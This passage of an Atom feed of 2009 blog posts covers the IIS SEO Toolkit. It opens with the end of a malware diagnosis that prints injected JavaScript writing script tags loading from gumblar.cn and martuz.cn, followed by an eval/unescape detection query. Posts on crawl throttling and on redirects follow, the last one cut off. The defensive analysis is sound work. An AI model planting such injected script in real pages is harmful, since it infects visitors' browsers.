color="#000000"&gt;.write(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;lt;script src=//&lt;strong&gt;&lt;font size="5"&gt;gumblar.cn&lt;/font&gt;&lt;/strong&gt;/rss/?id=&amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;j&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;&amp;gt;&amp;lt;\/script&amp;gt;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160; &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt; &lt;/div&gt;  &lt;p&gt;And:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;a&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;ScriptEngine&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;b&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Version()+&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;j&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,u&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;navigator.userAgent&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#000000"&gt;((u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&lt;font size="3"&gt;&lt;strong&gt;Chrome&lt;/strong&gt;&lt;/font&gt;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Win&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;gt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(u.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;NT 6&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(&lt;/font&gt;&lt;font color="#0000ff"&gt;document&lt;/font&gt;&lt;font color="#000000"&gt;.cookie.indexOf(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;miek=1&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;)&amp;amp;&amp;amp;(&lt;/font&gt;&lt;font color="#0000ff"&gt;typeof&lt;/font&gt;&lt;font color="#000000"&gt;(zrvzts)!&lt;/font&gt;&lt;font color="#0000ff"&gt;=typeof&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;))){&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;zrvzts&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;A&amp;quot;&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;eval&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;if(window.&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;)j=j+&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Major&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+b+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Minor&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+b+a+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Build&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+b+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;j;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;document&lt;/font&gt;&lt;font color="#000000"&gt;.write(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;lt;script src=//&lt;strong&gt;&lt;font size="5"&gt;mar&lt;/font&gt;&lt;font size="5"&gt;tuz.cn&lt;/font&gt;&lt;/strong&gt;/vid/?id=&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;+j+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;&amp;gt;&amp;lt;\/script&amp;gt;&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;/div&gt;  &lt;p&gt;Notice how both of them end up writing the actual malware script living in martuz.cn and gumblar.cn.&lt;/p&gt;  &lt;h2&gt;Final data&lt;/h2&gt;  &lt;p&gt;Now, this clearly means they are infected with malware, and it clearly seems that the problem is not in the Web Application but the infection is in the Error Pages that are being served from the Server when an error happens. Next step to be able to guide them with more specifics I needed to determine the Web server that they were using, to do that it is as easy as just inspecting the headers in the IIS SEO Toolkit which displayed something like the ones shown below:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#000000"&gt;Accept-Ranges:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;bytes&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;Content-Length:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;2570&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;Content-Type:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;text/html&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;Date&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Sat,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;20&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Jun&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;2009&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;01&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;16&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;23&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;GMT&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;Last-Modified:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Sun,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;17&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;May&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;2009&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;06&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;43&lt;/font&gt;&lt;font color="#000000"&gt;:&lt;/font&gt;&lt;font color="#800000"&gt;38&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;GMT&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;strong&gt;&lt;font color="#000000"&gt;Server:&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Apache/&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;3&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(Debian)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mod_jk/&lt;/font&gt;&lt;font color="#800000"&gt;1&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;18&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;PHP/&lt;/font&gt;&lt;font color="#800000"&gt;5&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;-8+etch15&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mod_ssl/&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;3&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;OpenSSL/&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;9&lt;/font&gt;&lt;font color="#000000"&gt;.8c&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mod_perl/&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;2&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Perl/v5.&lt;/font&gt;&lt;font color="#800000"&gt;8&lt;/font&gt;&lt;font color="#000000"&gt;.&lt;/font&gt;&lt;font color="#800000"&gt;8&lt;/font&gt;&lt;/strong&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;/div&gt;  &lt;p&gt;With a big disclaimer that I know nothing about Apache, I then guided them to their .htaccess file and the httpd.conf file for ErrorDocument and that would show them which files were infected and if it was a problem in their application or the server.&lt;/p&gt;  &lt;h2&gt;&lt;/h2&gt;  &lt;h2&gt;Case Closed &lt;/h2&gt;  &lt;p&gt;Turns out that after they went back to their Hoster with all this evidence, they finally realized that their server was infected and were able to clean up the malware. IIS SEO Toolkit helped me quickly identify this based on the fact that is able to see the Web site with the same eyes as a Search Engine would, following every link and letting me perform easy queries to find information about it. In future versions of IIS SEO Toolkit you can expect to be able to find this kind of things in a lot simpler ways, but for Beta 1 for those who cares here is the query that you can save in an XML file and use &amp;quot;Open Query&amp;quot; to see if you are infected with these malware.&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;?xml&lt;/font&gt;&lt;font color="#ff0000"&gt; version&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;1.0&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; encoding&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;utf-8&amp;quot;?&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;query&lt;/font&gt;&lt;font color="#ff0000"&gt; dataSource&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;urls&amp;quot;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;filter&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;expression&lt;/font&gt;&lt;font color="#ff0000"&gt; field&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;ContentTypeNormalized&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; operator&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Equals&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; value&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;text/html&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;expression&lt;/font&gt;&lt;font color="#ff0000"&gt; field&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;FileContents&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; operator&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Contains&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; value&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;unescape&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;expression&lt;/font&gt;&lt;font color="#ff0000"&gt; field&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;FileContents&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; operator&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Contains&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; value&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;eval&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160; &amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;filter&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;displayFields&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;URL&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;StatusCode&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Title&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Description&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160; &amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;displayFields&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;query&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt; &lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9800489" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author></entry><entry><title>IIS SEO Tip - Do not stress your server, limit the number of concurrent requests</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/06/17/iis-seo-tip-do-not-stress-your-server-limit-the-number-of-concurrent-requests.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/06/17/iis-seo-tip-do-not-stress-your-server-limit-the-number-of-concurrent-requests.aspx</id><published>2009-06-17T02:52:56Z</published><updated>2009-06-17T02:52:56Z</updated><content type="html">&lt;p&gt;The other day somebody ask me if there was a way to limit the amount of work that &lt;a href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/"&gt;Site Analysis&lt;/a&gt; in &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt; would cause to the server. This is interesting for a couple of reasons, &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;You might want to reduce the load that Site Analysis cause to your server at any given time &lt;/li&gt;    &lt;li&gt;You might have a Denial-of-service detection system such as our &lt;a href="http://www.iis.net/extensions/DynamicIPRestrictions"&gt;Dynamic IP Restrictions IIS module&lt;/a&gt; that will start failing requests based on number of requests in a certain amount of time &lt;/li&gt;    &lt;li&gt;Or If you like me have to go through a Proxy and it has a configured limit of number of requests per minute you are allowed to issue &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;In Beta 1 we do not support the Crawl-delay directive in the &lt;a href="http://en.wikipedia.org/wiki/Robots_Exclusion_Standard"&gt;Robots exclusion protocol&lt;/a&gt;; in future versions we will look at adding support this setting. The good news is that in Beta 1 we do have a configurable setting that can help you achieve this goals called &lt;strong&gt;Maximum Number of Concurrent Requests&lt;/strong&gt; that you can configure. &lt;/p&gt;  &lt;p&gt;To set it:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Go to the Site Analysis Reports page &lt;/li&gt;    &lt;li&gt;Select the option &amp;quot;Edit Feature Settings...&amp;quot; as show in the next image      &lt;br /&gt;&lt;a href="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/EditFeatureSettings.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="EditFeatureSettings" src="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/EditFeatureSettings_thumb.png" width="589" height="234" /&gt;&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;In the &amp;quot;Edit Feature Settings&amp;quot; dialog you will see the &lt;strong&gt;Maximum Number of Concurrent Requests &lt;/strong&gt;option that you can set to any value from 1 to 16. The default value is 8 which means at any given time we will issue 8 requests to the server.       &lt;br /&gt;&lt;a href="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/MaxConcurrentRequests.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="MaxConcurrentRequests" src="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/MaxConcurrentRequests_thumb.png" width="568" height="439" /&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ol&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9763407" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>Redirects, 301, 302 and IIS SEO Toolkit</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/06/12/redirects-301-302-and-iis-seo-toolkit.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/06/12/redirects-301-302-and-iis-seo-toolkit.aspx</id><published>2009-06-12T05:40:49Z</published><updated>2009-06-12T05:40:49Z</updated><content type="html">&lt;p&gt;In the &lt;a href="http://www.iis.net/extensions/URLRewrite"&gt;URL Rewrite&lt;/a&gt; forum somebody posted the question &amp;quot;&lt;em&gt;are redirects bad for search engine optimization&lt;/em&gt;?&amp;quot;. The answer is: not necessarily, Redirects are an important tool for Web sites and if used in the right context they actually are a required tool. But first a bit of background.&lt;/p&gt;  &lt;h2&gt;What is a Redirect?&lt;/h2&gt;  &lt;p&gt;A redirect in simple terms is a way for the server to indicate to a client (typically a browser) that a resource has moved and they do this by the use of an &lt;a href="http://en.wikipedia.org/wiki/HTTP_status_code"&gt;HTTP status code&lt;/a&gt; and a &lt;a href="http://en.wikipedia.org/wiki/HTTP_location"&gt;HTTP location header&lt;/a&gt;. There are different types of redirects but the most common ones used are:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;301 - Moved Permanently. This type of redirect signals that the resource has permanently moved and that any further attempts to access it should be directed to the location specified in the header &lt;/li&gt;    &lt;li&gt;302 - Redirect or Found. This type of redirect signals that the resource is temporarily located in a different location, but any further attempts to access the resource should still go to the same original location. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Below is an example on the response sent from the server when requesting &lt;a title="http://www.microsoft.com/SQL/default.mspx" href="http://www.microsoft.com/SQL/default.mspx"&gt;http://www.microsoft.com/SQL/&lt;/a&gt;&lt;/p&gt;  &lt;div class="code"&gt;HTTP/1.1 302 Found    &lt;br /&gt;Connection: Keep-Alive     &lt;br /&gt;Content-Length: 161     &lt;br /&gt;Content-Type: text/html; charset=utf-8     &lt;br /&gt;Date: Wed, 10 Jun 2009 17:04:09 GMT     &lt;br /&gt;Location: /sqlserver/2008/en/us/default.aspx     &lt;br /&gt;Server: Microsoft-IIS/7.0     &lt;br /&gt;X-Powered-By: ASP.NET &lt;/div&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;So what do redirects mean for SEO?&lt;/h2&gt;  &lt;p&gt;One of the most important factors in SEO is the concept called &lt;a href="http://en.wikipedia.org/wiki/Organic_linking"&gt;organic linking&lt;/a&gt;, in simple words it means that your page gets extra points for every link that external Web sites have linking to your page. So now imagine the Search Engine Bot is crawling an external Web site and finds a link pointing to your page (example.com/some-page) and when it tries to visit your page it runs into a redirect to another location (say example.com/somepage). Now the Search Engine has to decide if it should add the original &amp;quot;some-page&amp;quot; into its index as well as if it should &amp;quot;add the extra points&amp;quot; to the new location or to the original location, or if it should just ignore it entirely. Well the answer is not that simple, but a simplification of it could be:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;if you return a 301 (Permanent Redirect) you are telling the search engine that the resource moved to a new location permanently so that all further traffic should be directed to that location. This clearly means that the search engine should ignore the original location (some-page) and index the new location (somepage), and that it should add all the &amp;quot;extra points&amp;quot; to it, as well as any further references to the original location should now be &amp;quot;treated&amp;quot; as if it was the new one. &lt;/li&gt;    &lt;li&gt;if you return a 302 (Temporary Redirect) the answer can depend on search engines, but its likely to decide to index the original location and ignore the new location at all (unless directly linked in other places) since its only temporary and it could at any given point stop redirecting and start serving the content from the original location. This of course makes it very ambiguous on how to deal with the &amp;quot;extra points&amp;quot; and likely will be added to the original location and not the new destination. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;Enter &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt;&lt;/h2&gt;  &lt;p&gt;IIS Search Optimization Toolkit has a couple of rules that look for different patterns related to Redirects. The Beta version includes the following:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;The redirection did not include a location header&lt;/strong&gt;. Believe it or not there are a couple of applications out there that does not generate a location header which completely breaks the model of redirection. So if your application is one of them, it will let you know. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;The redirection response results in another redirection&lt;/strong&gt;. In this case it detected that your page (A) is linking to another page (B) which caused a redirection to another page (C) which resulted in another redirection to yet another page (D). In this case it is trying to let you know that the number of redirects could significantly impact the SEO &amp;quot;bonus points&amp;quot; since the organic linking could be all broken by this jumping around and that you should consider just linking from (A) to (D) or whatever actual end page is supposed to be the final destination. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;The page contains unnecessary redirects&lt;/strong&gt;. In this case it detected that your page (A) is linking to another page (B) in your Web site that resulted in a redirect to another page (C) within your Web site. Note that this is an informational rule, since there are valid scenarios where you would want this behavior, such as when tracking page impressions, or login pages, etc. but in many cases you do not need them since we detect that you own the three pages we are suggesting to look and see if it wouldn't be better to just change the markup in (A) to point directly to (C) and avoid the (B) redirection entirely. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;The page uses a refresh definition instead of using redirection&lt;/strong&gt;. Finally related to redirection, IIS SEO will flag when it detects that the use of the refresh meta-tag is being used as a mean for causing a redirection. This is a practice that is not recommended since the use of this tag does not include any semantics for search engines on how to process the content and in many cases is actually consider to be a tactic to confuse search engines, but I won't go there. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;So how does it look like? In the image below I ran &lt;a href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/"&gt;Site Analysis&lt;/a&gt; against a Web site and it found a few of these violations (2 and 3).&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect1.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IISSEORedirect1" src="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect1_thumb.png" width="244" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Notice that when you double click the violations it will tell you the details as well as give you direct access to the related URL's so that you can look at the content and all the relevant information about them to make the decision. From that menu you can also look at which other pages are linking to the different pages involved as well as launch it in the browser if needed.&lt;/p&gt;  &lt;p&gt;&lt;a 